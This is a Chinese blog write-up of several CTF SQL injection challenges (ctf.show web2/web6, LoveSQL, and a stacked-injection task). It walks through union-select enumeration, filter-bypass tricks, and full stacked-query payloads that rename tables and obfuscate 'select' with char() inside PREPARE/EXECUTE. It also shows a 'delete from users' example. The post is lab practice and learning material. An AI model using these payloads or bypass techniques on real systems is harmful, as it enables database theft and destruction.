这几天去刷了刷一些SQL注入的入门题目,记录了下过程和方法。

ctf.show_web2

经典的登录框,先尝试了一下万能密码发现可以登录成功

再加一个联合查询尝试找下注入点

查询一下当前数据库

再去查询一下当前库里的表

接下来查询字段

之后查询字段的值即可得到flag

总结(联合查询 union select:

查询当前数据库 database()
从数据库查询所有表 group_concat(table_name)     from information_schema.tables where table_schema = 'web2'
从表查询所有字段 group_concat(column_name)     from information_schema.columns where table_name = 'flag'
查询flag字段的值(Payload) flag      from flag (加上group_concat()爆表)

ctf.show_web6与web2差不多,不同的是,它过滤了空格

我这里找到了几种SQL注入中绕过空格的方法(参考这里):

  • 1.注释过滤 使用/**/代替空格
  • 2.通过括号绕过空格 or(1=1)
  • 3.使用换行符或%a0代替空格

绕过union,select,where的方法:

  • (1)使用注释符绕过
  • (2)使用大小写绕过
  • (3)内联注释绕过
  • (4) 双关键字绕过(若删除掉第一个匹配的union就能绕过)

这里使用/**/绕过,方法和之前一样,即可得到flag

[极客大挑战 2019]LoveSQL

进去是一个登录页,尝试万能密码登录】

提示登录成功,但是返回的字符串没有解码成功

重新尝试一下,先用order by查询字段数

这里踩了个坑,因为是GET传参,不能用’#‘,得用URL编码的’%23‘代替,然后使用联合查询去找回显位

发现竟然给了两个回显位,于是先查数据库,得到数据库叫“geek”,再去查数据库中的表

得到两个表 :geekuser和l0ve1ysq1,尝试去查geekuser表终端的数据

结果跟刚刚万能密码登录的一样,所以去尝试查询另一个表

这里踩了一个坑,我直接select password from 表了,没有加group_concat,所以导致默认只差了第一条数据,应该直接爆表。

最后得到flag

0x01 堆叠注入学习(堆叠查询,Stacked Queries)

堆叠注入为攻击者提供了很多控制权,与仅限于SELECT语句的UNION联合查询攻击不同,堆叠注入可以用于执行任何SQL语句。

堆叠注入原理

在sql中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。

举个堆叠注入攻击的例子

执行查询时,第一个语句执行信息查询,第二个语句则将表user的所有内容给删除了。

mysql> select * from users where id =1;delete from users;
堆叠注入的局限性

堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。

0x02 方法一:重命名+堆叠注入

1. 发现可以利用 or 把表中所有数据都查询出来,但是并没有我们需要的flag

2. 先看一下库名,发现很多函数都被过滤了。由于select被过滤了,union查询也就用不上了。

 3. 尝试一下堆叠注入,果然可以,把全部库名都给查出来了

 4. OK继续查表名

 5. 查看表结构 ,可以发现flag在`1919810931114514`表里

0';desc `1919810931114514`;#

  

注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符

eg. mysql> SELECT * FROM `table` WHERE `id` = '123' ;

1919810931114514必须用反单引号括起来,但是words不需要,应该是和数据类型有关

6. 再查看words表的结构,发现一共有id和data两列。

0';desc words;#

那么可以猜测我们提交查询的窗口就是在这个表里查询数据的

7. 那么查询语句很有可能是 : selsect id,data from words where id =

因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1' or 1=1#爆出表所有内容就可以查flag啦

payload:

0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

8. 再用一下一开始的操作id=1' or 1=1#

0x03 方法二:预处理语句+堆叠注入

预处理语句使用方式:

PREPARE name from '[my sql sequece]';   //预定义SQL语句EXECUTE name;  //执行预定义SQL语句(DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL        语句

 预定义语句也可以通过变量进行传递: 

SET @tn = 'hahaha';  //存储表名SET @sql = concat('select * from ', @tn);  //存储SQL语句PREPARE name from @sql;   //预定义SQL语句EXECUTE name;  //执行预定义SQL语句(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

  

payload1:不使用变量
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
payload2:使用变量
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
payload3:只是用contact(),不使用char()
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
届ける言葉を今は育ててる
最后更新于 2022-04-02